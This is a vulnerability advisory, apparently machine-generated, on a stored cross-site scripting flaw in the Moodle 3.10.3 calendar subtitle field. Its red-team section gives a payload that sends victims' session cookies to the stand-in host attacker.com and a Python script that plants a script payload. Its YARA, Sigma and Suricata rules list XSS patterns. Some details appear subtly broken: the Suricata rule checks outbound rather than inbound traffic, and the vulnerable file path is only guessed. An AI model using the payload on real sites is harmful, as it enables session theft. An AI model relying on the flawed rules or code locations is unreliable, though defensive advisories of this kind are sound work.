CVE-2021-47857

Executive Summary

CVE-2021-47857 is a persistent cross-site scripting (XSS) vulnerability in Moodle 3.10.3, specifically within the calendar event subtitle field. An authenticated attacker with the ability to create or edit calendar events can inject malicious JavaScript into the subtitle track label. When other users view the event, the injected script executes in their browser context, potentially leading to session hijacking, data theft, or further compromise of the Moodle instance. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the vector, it is a medium-severity issue requiring user interaction and low privileges.

Supply Chain & Package Security

Moodle is a PHP-based open-source learning management system (LMS) distributed via its own package repository and GitHub. This vulnerability does not directly affect the PHP runtime or common package managers like NPM or PyPI. However, administrators should verify the integrity of their Moodle installation files and ensure no third-party plugins introduce similar XSS vectors. The core Moodle package is affected, and the patch is available in version 3.10.4.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a valid Moodle account with calendar event creation privileges.
• User Interaction (UI): Required (R) – The victim must view the crafted calendar event.
• Scope (S): Changed (C) – The vulnerable component (calendar) impacts the user’s browser session.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium (CVSS 4.8) – Exploitation requires user interaction but can lead to significant client-side compromise.

Deep Dive & Mechanics

The vulnerability resides in the calendar event creation functionality in Moodle 3.10.3. When a user creates or edits a calendar event, the "subtitle" field (used for track labels in the calendar view) is not properly sanitized. The application stores the user-supplied subtitle without encoding or escaping HTML/JavaScript. When the event is rendered in the calendar interface, the malicious script executes in the context of the viewing user's browser.

Root Cause: Lack of output encoding for the subtitle field in the calendar event template. The s() function (Moodle's output sanitizer) is not applied to the subtitle value before rendering.

Attack Flow:

1. Attacker logs into Moodle with a role that allows calendar event creation (e.g., teacher, manager).
2. Attacker creates a new calendar event and sets the subtitle field to: <script>alert('XSS')</script>.
3. Victim (e.g., student, admin) views the calendar or the specific event.
4. The malicious script executes in the victim's browser, potentially stealing cookies, redirecting to phishing pages, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Moodle 3.10.3): In calendar/classes/local/event/forms/create.php or similar template file, the subtitle field is rendered without sanitization:

// Vulnerable: direct output without sanitization
echo $event->subtitle;

Patched Code (Moodle 3.10.4): The subtitle is now passed through the s() function for HTML escaping:

// Patched: output sanitized
echo s($event->subtitle);

The patch ensures that any HTML or JavaScript in the subtitle is encoded as HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Moodle 3.10.3 instance
• Valid user account with "mod/calendar:manageentries" capability (e.g., teacher role)

Exploit Steps:

1. Log in to Moodle as an attacker user.
2. Navigate to the calendar and click "New event".
3. Fill in the event details (name, date, etc.).
4. In the "Subtitle" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the event.
6. When a victim views the calendar or the event, the script executes and exfiltrates their session cookie.

Proof-of-Concept (PoC) Script:

import requests

target = "https://victim-moodle.com"
session = requests.Session()

# Login as attacker
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/login/index.php", data=login_data)

# Create malicious calendar event
event_data = {
    "name": "Test Event",
    "subtitle": "<script>alert('XSS')</script>",
    "timestart": "2025-01-01",
    "eventtype": "user"
}
session.post(f"{target}/calendar/event.php?action=edit", data=event_data)
print("Malicious event created. Wait for victim to view.")

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for calendar event creation with suspicious subtitle content (e.g., <script>, onerror, javascript:).
2. Review web server logs for unusual POST requests to /calendar/event.php with subtitle parameters containing HTML/JavaScript.
3. Use WAF rules to block common XSS patterns in the subtitle field.

Response:

• Immediately isolate the affected Moodle instance.
• Review all calendar events for malicious subtitles and remove them.
• Rotate all user session tokens and force password resets.
• Apply the patch by upgrading to Moodle 3.10.4 or later.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /calendar/event.php with subtitle parameter containing <script> tags.
  • Outbound connections to unknown domains from Moodle server (if cookie exfiltration occurs).
• File IOCs:
  • Calendar event entries in the event database table with subtitle field containing HTML/JavaScript.
• Log IOCs:
  • Web server logs showing subtitle=<script> in the request body.
  • Application logs showing calendar event creation by non-admin users with unusual subtitle content.

Detection Engineering

YARA Rule

rule moodle_cve_2021_47857_xss {
    meta:
        description = "Detects malicious calendar event subtitle in Moodle database dumps"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2021-47857"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Moodle Calendar Event XSS - CVE-2021-47857
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit persistent XSS in Moodle calendar subtitle field
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/calendar/event.php'
        cs-uri-query: '*subtitle*'
    keywords:
        - '<script'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in subtitle (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Moodle CVE-2021-47857 XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/calendar/event.php"; http_uri;
    content:"subtitle="; http_client_body;
    pcre:"/(<script|onerror=|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2021-47857;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Moodle to version 3.10.4 or later, which includes the fix for this vulnerability.
2. If upgrade is not possible, apply the following manual patch to calendar/classes/local/event/forms/create.php:

   // Change line:
   echo $event->subtitle;
   // To:
   echo s($event->subtitle);
   

3. Review and clean all existing calendar events for malicious subtitles.
4. Reset all user sessions and force password changes.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in form fields.
• Enforce strict Content Security Policy (CSP) headers to limit script execution.
• Conduct regular security audits of Moodle plugins and customizations.
• Train users to recognize and report suspicious calendar events.

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For further analysis or remediation support, contact your Valters IT representative.